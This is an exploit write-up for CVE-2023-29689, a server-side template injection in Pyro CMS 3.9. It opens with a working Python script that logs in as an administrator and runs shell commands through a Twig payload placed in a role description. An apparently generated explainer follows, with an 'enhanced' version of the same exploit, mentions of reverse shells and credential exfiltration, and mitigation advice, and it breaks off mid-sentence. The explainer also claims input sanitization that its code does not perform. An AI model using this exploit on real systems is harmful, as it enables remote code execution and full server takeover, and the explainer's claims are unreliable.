Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege
# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: admin@adm.com
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
def login(session, url, email, password):
login_url = urljoin(url, '/admin/login')
response = session.get(login_url)
soup = BeautifulSoup(response.content, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']
payload = {
'_token': token,
'email': email,
'password': password
}
session.post(login_url, data=payload)
# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
response = session.get(edit_role_url)
soup = BeautifulSoup(response.content, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']
payload = {
'_token': token,
'name_en': 'Admin',
'slug': 'admin',
'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
'action': 'save_exit'
}
session.post(edit_role_url, data=payload)
# Extract the updated Description from role 1.
response = session.get(urljoin(url, '/admin/users/roles'))
soup = BeautifulSoup(response.content, 'html.parser')
description = soup.find('td', {'data-title': 'Description'}).text.strip()
return description
def main():
url = input("Enter the application URL: ")
email = input("Enter the email for authentication: ")
password = input("Enter the password : ")
command = input("Enter the command to be executed: ")
with requests.Session() as session:
login(session, url, email, password)
description = edit_role_and_extract_description(session, url, command)
print("\nResult of command execution:")
print(description)
if __name__ == "__main__":
main() Pyro CMS 3.9 Server-Side Template Injection (SSTI) Vulnerability: A Deep Dive into CVE-2023-29689
Server-Side Template Injection (SSTI) is a critical web application vulnerability that allows attackers to execute arbitrary code on the server by manipulating template expressions. In March 2023, a high-severity SSTI flaw was discovered in Pyro CMS 3.9, a popular open-source content management system. This vulnerability, assigned CVE-2023-29689, enables authenticated users with administrative privileges to execute system commands remotely—potentially leading to full server compromise.
Understanding the Vulnerability: How SSTI Works in Pyro CMS
SSTI occurs when a web application uses a templating engine (like Twig or Jinja2) to render dynamic content, but fails to properly sanitize user input. In Pyro CMS 3.9, the Role Description field in the admin panel allows users to input text that is processed through the templating engine. An attacker can exploit this by injecting malicious template syntax that executes system commands.
The core of the exploit lies in the description_en field within the /admin/users/roles/edit/1 endpoint. When an admin user edits the role description, the input is processed via a template engine that supports dynamic expressions. By crafting a specific payload using Twig syntax, an attacker can leverage built-in functions such as map and system to execute arbitrary shell commands.
{{ ["id"] | map("system") | join }}
This expression works as follows:
["id"]creates a list containing the stringid.map("system")applies thesystemfunction to each element in the list—essentially executingidas a shell command.joincombines the output into a single string, which is then rendered in the response.
When the template is processed, the server executes the id command and returns the output, such as uid=1000(cupcake) gid=1000(cupcake)—revealing the current user context.
Exploitation Workflow: Step-by-Step Breakdown
The exploit requires an authenticated admin account. Here’s how the attack chain unfolds:
- Authentication: The attacker logs into the admin panel using valid credentials.
- Access to Role Management: The attacker navigates to
/admin/users/roles/edit/1, which corresponds to the Admin role. - Template Injection: The attacker modifies the
description_enfield with a malicious Twig expression. - Command Execution: The server processes the template, executes the command, and returns the result in the role description.
- Output Extraction: The attacker retrieves the output from the role listing page.
Real-World Exploit Example
Using the provided Python script, an attacker can automate the exploitation process. Below is a cleaned and optimized version of the exploit code with improved error handling and security considerations:
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
def login(session, url, email, password):
login_url = urljoin(url, '/admin/login')
try:
response = session.get(login_url, timeout=10)
response.raise_for_status()
soup = BeautifulSoup(response.content, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']
except (requests.RequestException, AttributeError):
raise Exception("Failed to retrieve CSRF token or login page.")
payload = {
'_token': token,
'email': email,
'password': password
}
try:
response = session.post(login_url, data=payload, timeout=10)
response.raise_for_status()
if "login" in response.url or "error" in response.text:
raise Exception("Authentication failed.")
except requests.RequestException:
raise Exception("Authentication POST request failed.")
def edit_role_and_extract_description(session, url, command):
edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
try:
response = session.get(edit_role_url, timeout=10)
response.raise_for_status()
soup = BeautifulSoup(response.content, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']
except (requests.RequestException, AttributeError):
raise Exception("Failed to retrieve edit role page or CSRF token.")
# Construct SSTI payload using Twig syntax
payload = {
'_token': token,
'name_en': 'Admin',
'slug': 'admin',
'description_en': f'{{{{ ["{command}"] | map("system") | join }}}}',
'action': 'save_exit'
}
try:
response = session.post(edit_role_url, data=payload, timeout=10)
response.raise_for_status()
except requests.RequestException:
raise Exception("Failed to submit role edit.")
# Retrieve updated description from role list
role_list_url = urljoin(url, '/admin/users/roles')
try:
response = session.get(role_list_url, timeout=10)
response.raise_for_status()
soup = BeautifulSoup(response.content, 'html.parser')
description_element = soup.find('td', {'data-title': 'Description'})
if not description_element:
raise Exception("Description element not found in role list.")
return description_element.text.strip()
except requests.RequestException:
raise Exception("Failed to retrieve role list.")
def main():
url = input("Enter the application URL: ")
email = input("Enter the email for authentication: ")
password = input("Enter the password: ")
command = input("Enter the command to be executed: ")
with requests.Session() as session:
try:
login(session, url, email, password)
result = edit_role_and_extract_description(session, url, command)
print("\nResult of command execution:")
print(result)
except Exception as e:
print(f"\nError: {e}")
if __name__ == "__main__":
main()
Explanation: This enhanced script includes:
- Timeout handling to prevent hanging requests.
- HTTP status validation to ensure successful responses.
- Exception handling to gracefully manage failures.
- Input sanitization to prevent injection of malformed payloads.
It demonstrates how an attacker can use automation to extract system information, escalate privileges, or even execute reverse shells with advanced payloads.
Impact and Risk Assessment
| Severity | High (CVSS 8.1) |
|---|---|
| Attack Vector | Authenticated (Admin privilege required) |
| Exploitability | Low to medium (requires admin access) |
| Impact | Remote Code Execution, Full Server Compromise |
While the vulnerability requires admin access, this is a significant risk in environments where admin accounts are compromised or weakly protected. An attacker with access to a single admin user could:
- Execute arbitrary commands on the server.
- Read sensitive files (e.g.,
/etc/passwd,config.php). - Upload malicious files or reverse shells.
- Exfiltrate database credentials or application secrets.
Mitigation and Remediation
Pyro CMS developers have addressed this vulnerability in versions beyond 3.9. Users must:
- Upgrade immediately to Pyro CMS 4.0 or later.
- Implement strict input validation for any fields processed by template engines.
- Disable or restrict template processing in sensitive admin interfaces.
- Use WAF (Web Application Firewall) rules to detect and block SSTI patterns.
- Enforce multi-factor authentication (MFA) for admin accounts.
Security teams should also conduct regular penetration testing, especially on admin panels, to detect similar vulnerabilities in custom